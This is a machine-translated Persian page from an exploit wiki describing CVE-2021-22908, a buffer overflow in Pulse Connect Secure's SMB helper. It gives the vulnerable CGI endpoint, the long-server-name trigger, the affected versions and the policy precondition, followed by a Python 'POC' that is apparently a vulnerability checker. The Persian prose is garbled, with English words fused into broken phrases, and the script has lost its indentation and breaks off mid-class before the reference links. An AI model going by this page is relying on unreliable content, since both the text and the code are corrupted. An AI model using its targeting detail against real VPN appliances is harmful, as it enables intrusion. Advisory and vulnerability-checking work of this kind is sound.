# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/fa
== شرح آسیب پذیری ==
از آنجا که PCS از اتصال به اشتراک فایل Windows (SMB) پشتیبانی می کند ، عملکرد توسط اسکریپت های CGI مبتنی بر کتابخانه ها و برنامه های کمکی Samba 4.5.10 ارائه می شود. هنگام تعیین نام سرور طولانی برای برخی از عملیات SMB ، ممکن است برنامه smbclt به دلیل سرریز شدن بافر خراب شود ، این بستگی به طول نام سرور مشخص شده دارد.
تأیید شده است که سیستم PCS 9.1R11.4 از این آسیب پذیری برخوردار است. نقطه پایانی CGI /dana/fb/smb/wnf.cgi است. سایر نقاط انتهایی CGI نیز ممکن است این آسیب پذیری را تحریک کنند.
اگر یک مهاجم پس از سو successfully استفاده از این آسیب پذیری نتواند پاکسازی کند ، تعیین یک نام سرور طولانی ممکن است منجر به ورودی های رویداد PCS زیر شود:
Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.
اما برای سو explo استفاده از این آسیب پذیری ، سرور PCS باید خط مشی دسترسی فایل Windows داشته باشد که اجازه می دهد \\ * یا خط مشی دیگری که به مهاجم اجازه می دهد به هر سرور متصل شود. با مشاهده User-> Resource Policy-> Windows File Policy Policy در صفحه مدیریت PCS می توانید سیاست SMB فعلی را مشاهده کنید. 9.1R2 و دستگاه های PCS قبلی از سیاست پیش فرض اجازه اتصال به هر میزبان SMB استفاده می کنند. با شروع از 9.1R3 ، این سیاست از مجوز پیش فرض به رد پیش فرض تغییر کرده است.
== دامنه تأثیر ==
Pulse Connect Secure 9.0RX and 9.1RX
==POC==
#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass
parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')
args = parser.parse_args()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class formvaluefinder(HTMLParser):
def __init__(self, searchval):
super(type (self), self).__init__()
self.searchval = searchval
def handle_starttag(self, tag, attrs):
if tag == 'input':
# We're just looking for form tags
foundelement = False
for attr in attrs:
if(attr[0] == 'name'):
if(attr[1] == self.searchval):
foundelement = True
elif(attr[0] == 'value' and foundelement == True):
self.data = attr[1]
class preauthfinder(HTMLParser):
foundelement = False
def handle_starttag(self, tag, attrs):
if tag == 'textarea':
# We're just looking for
== مرجع ==
https://short.pwnwiki.org/?c=1NiPen
https://short.pwnwiki.org/?c=2Um6Rb













请登录后查看评论内容